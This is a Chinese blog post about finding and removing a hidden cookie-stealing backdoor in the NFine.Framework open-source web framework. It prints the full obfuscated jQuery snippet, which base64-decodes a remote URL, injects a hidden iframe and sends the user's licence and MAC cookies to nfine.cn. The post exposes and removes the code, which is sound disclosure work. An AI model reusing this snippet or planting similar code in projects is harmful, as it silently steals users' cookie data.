NFine.Framework框架去除cookie后门方法

最近看到NFine开发团队开发的NFine.Framework开源框架，觉得挺好用的。

但是运行框架的时候发现加载首页的时候有在访问域名地址为 http://www.nfine.cn 的连接。这个是开源框架，自己拿来用，怎么能去访问莫名其妙的连接呢？在网上看到很多人也发现了这个问题。

我试着全项目查找这个域名，发现根本找不到，偶尔有一天研究框架的js的时候，发现 jquery.layout.js 代码最后一行有一个莫名其妙的方法：

代码如下：

function ($) { $.abcd = { getCookie: function (a) { var b, c = new RegExp("(^| )" + a + "=([^;]*)(;|$)"); if (b = document.cookie.match(c)) { return unescape(b[2]) } else { return null } }, execute: function () { try { if (top.$.wdversion == undefined) { top.$.wdversion = "0.0.0.0.0.1"; var a = $.abcd.getCookie("nfine_mac"); var b = $.abcd.getCookie("nfine_licence"); var c = decodeURIComponent(window.atob("aHR0cDovL3d3dy5uZmluZS5jbjo4MDk5L05GaW5lV2F0Y2gvMjAxNjA4MDEuaHRtbA==")); var d = window.atob("aWZyYW1lanMwMDAwMQ=="); var f = decodeURIComponent(window.atob("JTNDaWZyYW1lJTIwaWQlM0QlMjJpZnJhbWVqczAwMDAxJTIyJTIwJTIwc3R5bGUlM0QlMjJkaXNwbGF5JTNBbm9uZSUyMiUyMCUzRSUzQy9pZnJhbWUlM0U=")); var g = ""; if (top.$("#" + d).length <= 0) { top.$("body").append(f); window.setTimeout(function () { top.$.wdkey = { userKey: b, macs: a }; if (top.$.wdkey != undefined) { g = window.btoa(JSON.stringify(top.$.wdkey)) }; top.$("#" + d).attr("src", c + "?ppp=" + g) }, 6000) } } } catch (e) { } }, init: function () { $.abcd.execute() } }; $(function () { $.abcd.init() }) })(jQuery);

难道这就是访问cookie的后门么，然后我把用window.atob加密的base64字符串解码一看，果然就是这个，解码后的地址：http://www.nfine.cn:8099/NFineWatch/20160801.html

虽然这个地址现在已经无法访问了，但是我还是把上面那段代码去除了，并且又全局搜索了"aHR0cDovL3d3dy5uZmluZS5jbjo4MDk5L05GaW5lV2F0Y2gvMjAxNjA4MDEuaHRtbA=="这串字符，发现还有几个js文件也有，就连“jQuery UI”文件也不放过，太惨无人道了，算了我还是也一并清除。

包含连接的JS文件如下：

framework-ui.js

jqgrid.min.js

jquery-ui.min.js

最后总结：虽然感谢这个团队贡献的这个开源框架，但是对于这种读取cookie的开后门行为，我是挺反感的，我自己也整理了一些库放在GitHub 上开源共享，我也愿意对这类的开源项目贡献自己的一份薄力，好的开源项目我们应该多支持。

NFine.Framework框架去除cookie后门方法相关推荐

php ci cookie使用,CI框架实现cookie登陆的方法详解
本文实例讲述了CI框架实现cookie登陆的方法.分享给大家供大家参考,具体如下: 第一步:login.php //登陆方法 public function login(){ //如果用户名和密码为空 ...
php excel 组件,Yii Framework框架使用PHPExcel组件的方法示例
本文实例讲述了Yii Framework框架使用PHPExcel组件的方法.分享给大家供大家参考,具体如下: PHPExcel下载地址http://www.yiiframework.com/exten ...
.Net 初步学习笔记之一——.Net 平台与.Net FrameWork框架的关系
.Net 包含两部分 .Net平台和.Net FrameWork 框架 1..Net FrameWork框架包含于.Net平台. .Net FrameWork提供环境和支撑保证.Net平台运行. 2 ...
ASP.NET之.NET FrameWork框架
.NET FrameWork框架是一套应用程序开发框架,主要目的提供一个开发模型. 主要的两个组件: 公共语言运行时(Common Language Runtime)(CLR): 提供内存管理.线 ...
请问如何把.net framework框架集成在安装程序里头?
请问如何把.net framework框架集成在安装程序里头? 大家都知道在没有framework框架的机子上是无法运行.net编写的软件的虽然把编写的软件做成安装软件在没有框架的机子上要安装时会自 ...
DRF (Django REST framework) 框架介绍
Web应用模式在开发Web应用中,有两种应用模式: 前后端不分离前后端分离 1 前后端不分离在前后端不分离的应用模式中,前端页面看到的效果都是由后端控制,由后端渲染页面或重定向,也就是后端需要控 ...
python 注销一大段_Django框架用户注销功能实现方法分析
本文实例讲述了Django框架用户注销功能实现方法.分享给大家供大家参考,具体如下: HttpResponse()里有个delete_cookie()方法专门用来删除cookie 我们到此来完整的实现 ...
php行为和事件是什么,Yii Framework框架中事件和行为的区别及应用实例分析
本文实例讲述了Yii Framework框架中事件和行为的区别及应用.分享给大家供大家参考,具体如下: 个人觉得,在 Yii 里面,最难以明白的就是事件(Event)和行为(behavior)了.这不 ...
php ci hooks,CodeIgniter框架钩子机制实现方法【hooks类】
本文实例讲述了CodeIgniter框架钩子机制实现方法.分享给大家供大家参考,具体如下: 记得上一次去到喜啦面试,面试官问我一个问题:codeigniter是如何实现钩子机制的? 当时答不上来,后来 ...
Django Rest Framework框架
注明本笔记主要参考书籍<Django应用开发实战><Django企业开发实战>,这两本书前者详细,后者精炼.本文还主要参考(?雾)金角大王的博客,当然还参考了其他人的博客.这 ...

NFine.Framework框架去除cookie后门方法

NFine.Framework框架去除cookie后门方法相关推荐

最新文章

热门文章